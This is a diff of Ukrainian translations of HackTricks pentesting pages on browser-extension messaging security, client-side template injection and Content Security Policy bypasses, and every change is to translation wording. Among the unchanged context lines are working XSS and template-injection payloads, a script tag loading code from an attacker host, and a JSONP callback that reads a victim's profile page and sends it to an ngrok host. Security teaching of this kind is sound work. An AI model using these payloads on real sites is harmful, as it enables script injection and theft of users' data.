### Всередині розширення
|
||||
|
||||
@ -389,7 +389,7 @@ console.log("Content script received message from background script:", msg)
|
||||
```
|
||||
</details>
|
||||
|
||||
Також можливо надсилати повідомлення з фонового скрипта до контентного скрипта, розташованого в конкретній вкладці, викликавши **`chrome.tabs.sendMessage`**, де вам потрібно буде вказати **ID вкладки**, до якої потрібно надіслати повідомлення.
|
||||
Також можливо надсилати повідомлення з фонового скрипта до контент-скрипта, розташованого в конкретній вкладці, викликавши **`chrome.tabs.sendMessage`**, де вам потрібно буде вказати **ID вкладки**, до якої потрібно надіслати повідомлення.
|
||||
|
||||
### Від дозволених `externally_connectable` до розширення
|
||||
|
||||
@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
|
||||
|
||||
### Native Messaging
|
||||
|
||||
Можливо, що фонові скрипти можуть спілкуватися з бінарними файлами всередині системи, які можуть бути **схильні до критичних вразливостей, таких як RCE** якщо це спілкування не буде належним чином захищене. [Більше про це пізніше](#native-messaging).
|
||||
Можливо, що фонові скрипти спілкуються з двійковими файлами всередині системи, які можуть бути **схильні до критичних вразливостей, таких як RCE** якщо це спілкування не буде належним чином захищене. [More on this later](#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -411,11 +411,11 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
## Веб **↔︎** Комунікація скриптів контенту
|
||||
## Web **↔︎** Content Script Communication
|
||||
|
||||
Середовища, в яких працюють **скрипти контенту**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Моделлю об'єктів документа (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **скриптом контенту** або непрямо з розширенням через скрипт контенту, необхідно використовувати **DOM**, доступний обом сторонам, як канал комунікації.
|
||||
Середовища, в яких працюють **content scripts**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Document Object Model (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **content script**, або опосередковано з розширенням через content script, необхідно використовувати **DOM**, доступний обом сторонам, як канал зв'язку.
|
||||
|
||||
### Повідомлення
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
// This is like "chrome.runtime.sendMessage" but to maintain the connection
|
||||
var port = chrome.runtime.connect()
|
||||
@ -452,9 +452,9 @@ false
|
||||
```
|
||||
Безпечна комунікація Post Message повинна перевіряти автентичність отриманого повідомлення, це можна зробити, перевіряючи:
|
||||
|
||||
- **`event.isTrusted`**: Це True тільки якщо подія була викликана дією користувача
|
||||
- Контент-скрипт може очікувати повідомлення тільки якщо користувач виконує якусь дію
|
||||
- **origin domain**: може очікувати повідомлення тільки з дозволеного списку доменів.
|
||||
- **`event.isTrusted`**: Це True лише якщо подія була викликана дією користувача
|
||||
- Контент-скрипт може очікувати повідомлення лише якщо користувач виконує якусь дію
|
||||
- **origin domain**: може очікувати повідомлення лише з дозволеного списку доменів.
|
||||
- Якщо використовується regex, будьте дуже обережні
|
||||
- **Source**: `received_message.source !== window` можна використовувати для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контент-скрипт.
|
||||
|
||||
@ -529,7 +529,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
|
||||
## Native Messaging
|
||||
|
||||
Розширення браузера також дозволяють спілкуватися з **бінарними файлами в системі через stdin**. Додаток повинен встановити json, що вказує на це, у json, як:
|
||||
Розширення браузера також дозволяють спілкуватися з **бінарними файлами в системі через stdin**. Додаток повинен встановити json, що вказує на це, у форматі json, як:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -546,7 +546,7 @@ Chrome/Chromium буде шукати цей json у деяких реєстра
|
||||
> [!TIP]
|
||||
> Розширення браузера також потребує дозволу `nativeMessaing`, щоб мати можливість використовувати це спілкування.
|
||||
|
||||
Ось як виглядає код фонових скриптів, що надсилає повідомлення до рідного додатку:
|
||||
Ось як виглядає код деякого фонового скрипта, що надсилає повідомлення до рідного додатку:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -573,17 +573,17 @@ console.log("Received " + response)
|
||||
|
||||
Звичайно, не **включайте чутливу інформацію в код**, оскільки вона буде **публічною**.
|
||||
|
||||
Щоб вивантажити пам'ять з браузера, ви можете **вивантажити пам'ять процесу** або перейти до **налаштувань** розширення браузера, натиснувши **`Inspect pop-up`** -> У розділі **`Memory`** -> **`Take a snapshot`** і **`CTRL+F`** для пошуку чутливої інформації в знімку.
|
||||
Щоб вивантажити пам'ять з браузера, ви можете **вивантажити пам'ять процесу** або перейти до **налаштувань** розширення браузера, натиснувши **`Перевірити спливаюче вікно`** -> У розділі **`Пам'ять`** -> **`Зробити знімок`** і **`CTRL+F`** для пошуку чутливої інформації в знімку.
|
||||
|
||||
Більш того, надзвичайно чутлива інформація, така як мнемонічні ключі або паролі, **не повинна дозволятися для копіювання в буфер обміну** (або принаймні видаляти її з буфера обміну через кілька секунд), оскільки тоді процеси, що моніторять буфер обміну, зможуть їх отримати.
|
||||
Більш того, надзвичайно чутлива інформація, така як мнемонічні ключі або паролі, **не повинна дозволятися копіювати в буфер обміну** (або принаймні видаляти її з буфера обміну через кілька секунд), оскільки тоді процеси, що моніторять буфер обміну, зможуть їх отримати.
|
||||
|
||||
## Завантаження розширення в браузері
|
||||
|
||||
1. **Завантажте** Розширення Браузера та розпакуйте його.
|
||||
2. Перейдіть до **`chrome://extensions/`** і **увімкніть** `Режим розробника`.
|
||||
3. Натисніть кнопку **`Load unpacked`**.
|
||||
3. Натисніть кнопку **`Завантажити розпаковане`**.
|
||||
|
||||
У **Firefox** перейдіть до **`about:debugging#/runtime/this-firefox`** і натисніть кнопку **`Load Temporary Add-on`**.
|
||||
У **Firefox** перейдіть до **`about:debugging#/runtime/this-firefox`** і натисніть кнопку **`Завантажити тимчасове доповнення`**.
|
||||
|
||||
## Отримання вихідного коду з магазину
|
||||
|
||||
@ -610,20 +610,20 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
### Перегляд коду локально встановленого розширення
|
||||
|
||||
Локально встановлені розширення Chrome також можна перевірити. Ось як:
|
||||
Розширення Chrome, встановлені локально, також можна перевірити. Ось як:
|
||||
|
||||
1. Доступ до вашого локального профілю Chrome, відвідавши `chrome://version/` і знайдіть поле "Profile Path".
|
||||
2. Перейдіть до підпапки `Extensions/` у каталозі профілю.
|
||||
3. Ця папка містить всі встановлені розширення, зазвичай з їх кодом джерела у читабельному форматі.
|
||||
3. Ця папка містить всі встановлені розширення, зазвичай з їхнім кодом джерела у читабельному форматі.
|
||||
|
||||
Щоб ідентифікувати розширення, ви можете зіставити їх ID з іменами:
|
||||
Щоб ідентифікувати розширення, ви можете зіставити їхні ID з іменами:
|
||||
|
||||
- Увімкніть режим розробника на сторінці `about:extensions`, щоб побачити ID кожного розширення.
|
||||
- У кожній папці розширення файл `manifest.json` містить читабельне поле `name`, що допомагає вам ідентифікувати розширення.
|
||||
|
||||
### Використання архіватора або розпаковувача
|
||||
### Використання архіватора або декомпресора
|
||||
|
||||
Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор (такий як WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу.
|
||||
Перейдіть до Chrome Web Store і завантажте розширення. Файл матиме розширення `.crx`. Змініть розширення файлу з `.crx` на `.zip`. Використовуйте будь-який архіватор (наприклад, WinRAR, 7-Zip тощо), щоб витягти вміст ZIP-файлу.
|
||||
|
||||
### Використання режиму розробника в Chrome
|
||||
|
||||
@ -631,14 +631,14 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
||||
|
||||
## Набір даних маніфестів розширень Chrome
|
||||
|
||||
Щоб спробувати виявити вразливі браузерні розширення, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їх маніфест-файли на наявність потенційно вразливих ознак. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`:
|
||||
Щоб спробувати виявити вразливі розширення браузера, ви можете використовувати [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) і перевірити їхні файли маніфестів на потенційно вразливі ознаки. Наприклад, щоб перевірити розширення з більш ніж 25000 користувачів, `content_scripts` та дозволом `nativeMessaing`:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
```
|
||||
## Перевірочний список безпеки
|
||||
|
||||
Навіть якщо розширення браузера має **обмежену поверхню атаки**, деякі з них можуть містити **вразливості** або **потенційні поліпшення безпеки**. Найбільш поширені з них:
|
||||
Навіть якщо розширення браузера має **обмежену поверхню атаки**, деякі з них можуть містити **вразливості** або **потенційні покращення безпеки**. Найбільш поширені з них:
|
||||
|
||||
- [ ] **Обмежити** запитувані **`permissions`** якомога більше
|
||||
- [ ] **Обмежити** **`host_permissions`** якомога більше
|
||||
@ -646,10 +646,10 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- [ ] **Обмежити** **`externally_connectable`** якомога більше, якщо це не потрібно і можливо, не залишайте за замовчуванням, вкажіть **`{}`**
|
||||
- [ ] Якщо тут згадується **URL, вразливий до XSS або захоплення**, зловмисник зможе **надсилати повідомлення безпосередньо до фонових скриптів**. Дуже потужний обхід.
|
||||
- [ ] **Обмежити** **`web_accessible_resources`** якомога більше, навіть порожні, якщо можливо.
|
||||
- [ ] Якщо **`web_accessible_resources`** не порожнє, перевірте на [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] Якщо **`web_accessible_resources`** не є жодним, перевірте на [**ClickJacking**](browext-clickjacking.md)
|
||||
- [ ] Якщо відбувається будь-яка **комунікація** від **розширення** до **веб-сторінки**, [**перевірте на XSS**](browext-xss-example.md) **вразливості**, викликані в комунікації.
|
||||
- [ ] Якщо використовуються повідомлення, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/)**.**
|
||||
- [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікує** веб
|
||||
- [ ] Якщо використовуються повідомлення, перевірте на [**вразливості Post Message**](../postmessage-vulnerabilities/index.html)**.**
|
||||
- [ ] Якщо **Content Script отримує доступ до деталей DOM**, перевірте, що вони **не вводять XSS**, якщо їх **модифікують** веб
|
||||
- [ ] Зробіть особливий акцент, якщо ця комунікація також залучена в **комунікацію Content Script -> фоновий скрипт**
|
||||
- [ ] Якщо фоновий скрипт спілкується через **native messaging**, перевірте, що комунікація є безпечною та очищеною
|
||||
- [ ] **Чутливу інформацію не слід зберігати** всередині коду розширення браузера
|
||||
@ -667,11 +667,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- Завантажує будь-яке розширення Chrome з наданого посилання на веб-магазин Chrome.
|
||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **переглядач**: просто відображає версію JSON з форматуванням розширення.
|
||||
- **Аналіз відбитків**: Виявлення [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) та автоматичне генерування JavaScript для відбитків розширення Chrome.
|
||||
- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з встановленою директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking в залежності від мети сторінок.
|
||||
- **Аналіз потенційного Clickjacking**: Виявлення HTML-сторінок розширення з директивою [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Вони можуть бути вразливими до clickjacking залежно від мети сторінок.
|
||||
- **Переглядач попереджень про дозволи**: який показує список усіх попереджень про запити дозволів Chrome, які будуть відображені при спробі користувача встановити розширення.
|
||||
- **Небезпечні функції**: показує місце розташування небезпечних функцій, які можуть бути потенційно використані зловмисником (наприклад, функції, такі як innerHTML, chrome.tabs.executeScript).
|
||||
- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішніх джерел. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення.
|
||||
- Як сканери Небезпечних функцій, так і Точок входу мають наступне для своїх згенерованих сповіщень:
|
||||
- **Точки входу**: показує, де розширення приймає вхідні дані від користувача/зовнішні дані. Це корисно для розуміння поверхні розширення та пошуку потенційних точок для надсилання зловмисно створених даних до розширення.
|
||||
- Як небезпечні функції, так і точки входу мають наступне для своїх згенерованих сповіщень:
|
||||
- Відповідний фрагмент коду та рядок, що викликав сповіщення.
|
||||
- Опис проблеми.
|
||||
- Кнопка "Переглянути файл", щоб переглянути повний вихідний файл, що містить код.
|
||||
@ -679,17 +679,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
||||
- Повний URI розширення Chrome сповіщеного файлу.
|
||||
- Тип файлу, наприклад, скрипт фонової сторінки, скрипт контенту, дія браузера тощо.
|
||||
- Якщо вразливий рядок знаходиться в JavaScript-файлі, шляхи всіх сторінок, де він включений, а також тип цих сторінок і статус [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
|
||||
- **Аналізатор політики безпеки контенту (CSP) та перевірка обходу**: Це вказує на слабкі місця в CSP вашого розширення та також висвітлює будь-які потенційні способи обійти ваш CSP через білих CDN тощо.
|
||||
- **Аналізатор політики безпеки контенту (CSP) та перевірка обходу**: Це вказує на слабкі місця в CSP вашого розширення та також виявляє будь-які потенційні способи обійти ваш CSP через білих CDN тощо.
|
||||
- **Відомі вразливі бібліотеки**: Це використовує [Retire.js](https://retirejs.github.io/retire.js/) для перевірки наявності використання відомих вразливих JavaScript-бібліотек.
|
||||
- Завантажити розширення та відформатовані версії.
|
||||
- Завантажити оригінальне розширення.
|
||||
- Завантажити покращену версію розширення (автоформатований HTML та JavaScript).
|
||||
- Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешування результатів.
|
||||
- Посилання на звіти, які легко посилати іншим на звіт про розширення, згенерований tarnish.
|
||||
- Автоматичне кешування результатів сканування, запуск сканування розширення займе багато часу під час першого запуску. Однак під час другого запуску, якщо розширення не було оновлено, це буде майже миттєво через кешовані результати.
|
||||
- Посилання на звіти, легко поділитися з кимось іншим звітом про розширення, згенерованим tarnish.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для вилучення цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли Javascript і HTML.
|
||||
Проект Neto - це пакет Python 3, призначений для аналізу та виявлення прихованих функцій плагінів і розширень браузера для відомих браузерів, таких як Firefox і Chrome. Він автоматизує процес розпакування упакованих файлів для вилучення цих функцій з відповідних ресурсів у розширенні, таких як `manifest.json`, папки локалізації або вихідні файли JavaScript і HTML.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Резюме
|
||||
## Summary
|
||||
|
||||
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/), але на **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
|
||||
Це схоже на [**Server Side Template Injection**](ssti-server-side-template-injection/index.html), але в **клієнті**. **SSTI** може дозволити вам **виконувати код** на віддаленому сервері, **CSTI** може дозволити вам **виконувати довільний JavaScript** код у браузері жертви.
|
||||
|
||||
**Тестування** на наявність цієї вразливості дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
|
||||
**Тестування** на цю вразливість дуже **схоже** на випадок **SSTI**, інтерпретатор очікує **шаблон** і виконає його. Наприклад, з корисним навантаженням, як `{{ 7-7 }}`, якщо додаток **вразливий**, ви побачите `0`, а якщо ні, ви побачите оригінал: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, одна з яких - **`ng-app`**. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.
|
||||
|
||||
У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
|
||||
У сценаріях, де введення користувача динамічно вставляється в HTML тіло, позначене `ng-app`, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
@ -49,11 +49,11 @@ AngularJS - це широко використовуваний JavaScript фре
|
||||
```
|
||||
Кредит: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||
|
||||
**Перевірте більше VUE пейлоадів у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
**Перевірте більше VUE payloads у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||
|
||||
## Mavo
|
||||
|
||||
Пейлоад:
|
||||
Payload:
|
||||
```
|
||||
[7*7]
|
||||
[(1,alert)(1)]
|
||||
@ -69,7 +69,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||
```
|
||||
**Більше пейлоадів у** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||
|
||||
## **Список виявлення брутфорсу**
|
||||
## **Список виявлення грубої сили**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Обхід політики безпеки контенту (CSP)
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке CSP
|
||||
|
||||
Політика безпеки контенту (CSP) вважається технологією браузера, яка в першу чергу спрямована на **захист від атак, таких як міжсайтовий скриптинг (XSS)**. Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як `eval`, `setTimeout` або `setInterval`.
|
||||
Content Security Policy (CSP) вважається технологією браузера, яка в першу чергу спрямована на **захист від атак, таких як міжсайтовий скриптинг (XSS)**. Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як `eval`, `setTimeout` або `setInterval`.
|
||||
|
||||
Впровадження CSP здійснюється через **заголовки відповіді** або шляхом включення **мета-елементів у HTML-сторінку**. Дотримуючись цієї політики, браузери активно забезпечують виконання цих вимог і негайно блокують будь-які виявлені порушення.
|
||||
|
||||
@ -18,7 +18,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
```
|
||||
### Заголовки
|
||||
|
||||
CSP може бути застосований або моніторений за допомогою цих заголовків:
|
||||
CSP може бути застосований або моніторинг за допомогою цих заголовків:
|
||||
|
||||
- `Content-Security-Policy`: Застосовує CSP; браузер блокує будь-які порушення.
|
||||
- `Content-Security-Policy-Report-Only`: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
|
||||
@ -70,7 +70,7 @@ object-src 'none';
|
||||
- `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій.
|
||||
- `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані `<script>` або `<style>`, не рекомендується з міркувань безпеки.
|
||||
- `'nonce'`: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
|
||||
- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
|
||||
- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипта (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
|
||||
|
||||
<details>
|
||||
|
||||
@ -89,14 +89,14 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256 хешем.
|
||||
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було дозволено за допомогою nonce або хешу.
|
||||
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було внесено до білого списку за допомогою nonce або хешу.
|
||||
- `'host'`: Вказує конкретний хост, наприклад, `example.com`.
|
||||
- `https:`: Обмежує URL-адреси тими, що використовують HTTPS.
|
||||
- `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript).
|
||||
- `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створені за допомогою JavaScript).
|
||||
- `filesystem:`: Дозволяє завантаження ресурсів з файлової системи.
|
||||
- `'report-sample'`: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).
|
||||
- `'strict-origin'`: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є крос-доменним.
|
||||
- `'strict-origin-when-cross-origin'`: Надсилає повні URL-адреси при виконанні запитів з однаковим походженням, але лише надсилає походження, коли запит є крос-доменним.
|
||||
- `'unsafe-allow-redirects'`: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
|
||||
|
||||
## Небезпечні правила CSP
|
||||
@ -126,13 +126,13 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
### strict-dynamic
|
||||
|
||||
Якщо ви зможете якимось чином змусити **дозволений JS код створити новий тег скрипта** в DOM з вашим JS кодом, оскільки його створює дозволений скрипт, **новий тег скрипта буде дозволено виконати**.
|
||||
Якщо ви зможете якимось чином змусити **дозволений JS код створити новий тег скрипта** в DOM з вашим JS кодом, оскільки дозволений скрипт його створює, **новий тег скрипта буде дозволено виконати**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Працюючий вантаж:
|
||||
Працюючий payload:
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
@ -155,19 +155,19 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
|
||||
|
||||
Робочий вантаж:
|
||||
Робочий корисний вантаж:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажувати лише певні типи файлів**.
|
||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволяє вам **завантажувати лише певні типи файлів**.
|
||||
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, яке приймає сервер (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache server, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не подає його з **MIME типом, як audio/\***.
|
||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||
|
||||
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Більше [**пейлоадів з цього опису**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Більше [**payloads з цього опису**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -284,26 +284,26 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
||||
https://www.youtube.com/oembed?callback=alert;
|
||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних веб-сайтів.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить відкритий редирект**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
||||
|
||||
### Зловживання з боку третіх осіб
|
||||
|
||||
Як описано в [наступному пості](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), існує багато доменів третіх осіб, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх осіб:
|
||||
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Суб'єкт | Дозволений домен | Можливості |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
